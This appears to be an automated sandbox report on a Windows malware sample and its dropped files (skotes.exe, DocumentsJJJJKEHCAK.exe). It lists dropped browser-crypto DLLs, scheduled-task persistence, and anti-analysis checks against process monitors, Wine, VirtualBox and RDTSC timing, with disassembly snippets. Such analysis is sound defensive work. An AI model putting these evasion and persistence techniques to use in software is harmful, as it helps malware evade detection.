Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.520000.0.unpack :EW;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.520000.0.unpack :EW;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: real checksum: 0x335267 should be: 0x330a9d
Source: file.exe	Static PE information: real checksum: 0x1b66ff should be: 0x1bdc66
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x335267 should be: 0x330a9d
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x335267 should be: 0x330a9d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bwfmakny
Source: file.exe	Static PE information: section name: nmluqbel
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: zkpqwmrk
Source: random[1].exe.0.dr	Static PE information: section name: gfzteylm
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name:
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: zkpqwmrk
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: gfzteylm
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: zkpqwmrk
Source: skotes.exe.20.dr	Static PE information: section name: gfzteylm
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_0002D91C push ecx; ret	20_2_0002D92F
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00021359 push es; ret	20_2_0002135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0053D91C push ecx; ret	21_2_0053D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0053D91C push ecx; ret	22_2_0053D92F

Source: file.exe	Static PE information: section name: bwfmakny entropy: 7.953736743097114
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.171964725701356
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: entropy: 7.171964725701356
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.171964725701356

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJJJKEHCAK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJJJJKEHCAK.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJJJKEHCAK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJJJKEHCAK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11735EA second address: 1173600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173600 second address: 1173604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A79 second address: 1166A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8FBCCADh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A8C second address: 1166A9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A9B second address: 1166AB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF3F8FBCCAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FF3F8FBCCB2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11729CA second address: 11729EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11729EA second address: 11729EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172B2C second address: 1172B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172D09 second address: 1172D1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF3F8FBCCA6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D5A second address: 1175D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D5E second address: 1175D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175E19 second address: 1175E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175E7A second address: 1175F10 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1859h], ecx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FF3F8FBCCA8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D21E8h], ebx 0x00000031 mov dx, 3915h 0x00000035 call 00007FF3F8FBCCA9h 0x0000003a push edi 0x0000003b jmp 00007FF3F8FBCCAAh 0x00000040 pop edi 0x00000041 push eax 0x00000042 jns 00007FF3F8FBCCB1h 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c jno 00007FF3F8FBCCC5h 0x00000052 mov eax, dword ptr [eax] 0x00000054 push esi 0x00000055 push eax 0x00000056 push edx 0x00000057 jnc 00007FF3F8FBCCA6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175F10 second address: 1175F83 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007FF3F8BEF69Ch 0x00000014 pop eax 0x00000015 or edx, dword ptr [ebp+122D1C80h] 0x0000001b mov dword ptr [ebp+122D23E8h], ecx 0x00000021 push 00000003h 0x00000023 call 00007FF3F8BEF6A3h 0x00000028 mov ecx, 6530D9F5h 0x0000002d pop edx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007FF3F8BEF698h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push 00000003h 0x0000004c call 00007FF3F8BEF699h 0x00000051 pushad 0x00000052 push edi 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175F83 second address: 1175FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3F8FBCCB0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175FA1 second address: 1175FBF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3F8BEF6A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11760BF second address: 1176116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FF3F8FBCCA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f ja 00007FF3F8FBCCBCh 0x00000015 nop 0x00000016 sub dword ptr [ebp+122D1D3Ch], edx 0x0000001c push 00000000h 0x0000001e ja 00007FF3F8FBCCAAh 0x00000024 call 00007FF3F8FBCCA9h 0x00000029 push esi 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e pop esi 0x0000002f push eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jne 00007FF3F8FBCCA6h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176116 second address: 117611A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117611A second address: 1176128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FF3F8FBCCA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176128 second address: 117615B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF3F8BEF69Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117615B second address: 117615F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117615F second address: 11761DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jnc 00007FF3F8BEF696h 0x00000013 popad 0x00000014 push edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop edi 0x00000018 popad 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007FF3F8BEF69Bh 0x00000022 pop eax 0x00000023 push 00000003h 0x00000025 mov edi, dword ptr [ebp+122D390Dh] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FF3F8BEF698h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 sub di, 14ACh 0x0000004c push 00000003h 0x0000004e mov esi, 3E8C8454h 0x00000053 movsx ecx, di 0x00000056 call 00007FF3F8BEF699h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FF3F8BEF69Dh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11761DE second address: 11761F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11761F2 second address: 11761F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11761F7 second address: 117623A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8FBCCAFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jne 00007FF3F8FBCCA8h 0x00000014 jmp 00007FF3F8FBCCB4h 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 jg 00007FF3F8FBCCA6h 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117623A second address: 1176264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FF3F8BEF6ACh 0x00000014 jmp 00007FF3F8BEF6A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176264 second address: 117626B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117626B second address: 1176280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FF3F8BEF696h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176280 second address: 117628A instructions: 0x00000000 rdtsc 0x00000002 js 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186D20 second address: 1186D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186D25 second address: 1186D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8FBCCB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BAFE second address: 116BB05 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB05 second address: 116BB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB0D second address: 116BB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF3F8BEF696h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jng 00007FF3F8BEF696h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB24 second address: 116BB3C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8FBCCB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB3C second address: 116BB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11943C7 second address: 11943DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8FBCCB1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11946B0 second address: 11946C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Bh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11946C0 second address: 11946C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194835 second address: 1194842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11949C2 second address: 11949C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
